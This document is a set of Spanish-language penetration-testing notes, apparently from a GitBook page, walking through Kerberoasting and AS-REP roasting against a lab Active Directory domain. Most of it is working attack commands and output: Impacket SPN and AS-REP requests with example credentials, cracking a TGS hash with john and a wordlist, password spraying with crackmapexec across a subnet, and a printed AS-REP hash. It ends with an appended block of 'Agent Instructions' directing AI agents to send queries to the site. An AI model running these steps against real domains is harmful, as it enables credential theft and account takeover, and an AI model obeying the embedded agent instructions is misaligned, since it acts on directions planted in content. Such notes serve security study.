# Kerberoasting Attack ## With Credentials ### Kerberos Ticket Granting Service (TGS) Extraction 1º Añadir al `/etc/hosts`el dominio:
2º Lanzo un GetUserSPNs a ver si encuentro usuarios Kerbero asteables\`\`\`GetUserSPNs.py deimcorp.local/cbollin:Password1\`\`\`> Da igual el usuario, si es admin o no, solo con que este dentro del DC, sirve
Ahora podemos hacer un request para que nos de el hash TGS de ese user ``` GetUserSPNs.py deimcorp.local/cbollin:Password1 -request ``` > `-request` Requests TGS for users and output them in JtR/hashcat format (default False)
#### Crakeo de Hash TGS Tan simple como lanzar un john a ese hash: ``` john -w:/usr/share/wordlists/rockyou.txt hash.txt 1g 0:00:00:17 DONE (2025-03-02 17:45) 0.05595g/s 606950p/s 606950c/s MYpassword123# (?) 606950C/s MaRiAnItA..MYROOM2518 Use the "--show" option to display all of the cracked passwords reliably Session completed. ``` #### Password Spraying ``` crackmapexec smb 100.100.100.0/24 -u 'svc_sqlservice' -p 'MYpassword123#' ``` > Si el usuario es Administrado debería poner (Pwn3d!) en todo ## Without Credentials ### Kerberos AS-REP Roasting ``` GetNPUsers.py deimcorp.local/ -no-pass -usersfile users [-] User Administrador doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] User Cbollin doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Champi doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User admin2test doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$svc_sqlservice@DEIMCORP.LOCAL:77b3dcb9131c3ffe119602698e39c265$75262eecac3f246309ec5abc20ee6a2ef66aa4d9ecfb4d6d1a5f2d8359c2089769f7baef85abc42dedbb930e1466fb99f89a8fbfab3be907dcade1905c265ae007a182dd73c008027dae1efd79069c27f8df449c074ca6fc7b0f19b1757e8f59a5ab47bed7d367499c40042b5897d7ca6178c3d44b7e648b0f5fada0c25c9852dc2b9c23164f183518010bdff872a3ab6a8687e2ae59d38d208aaf0db4b545664e711b8e640580544d53e8136abfc8361244ea456778f072bb059a04319cc21fc5dc14911e9f3860ad547419afac82a5456f465eedbc8931f02eb1cfdb6cc0e09da68bee84dff912f49be27631e63c ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://eldeim.gitbook.io/brain_fuck/notes/windows-hardening/ad-active-directory/kerberoasting-attack.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.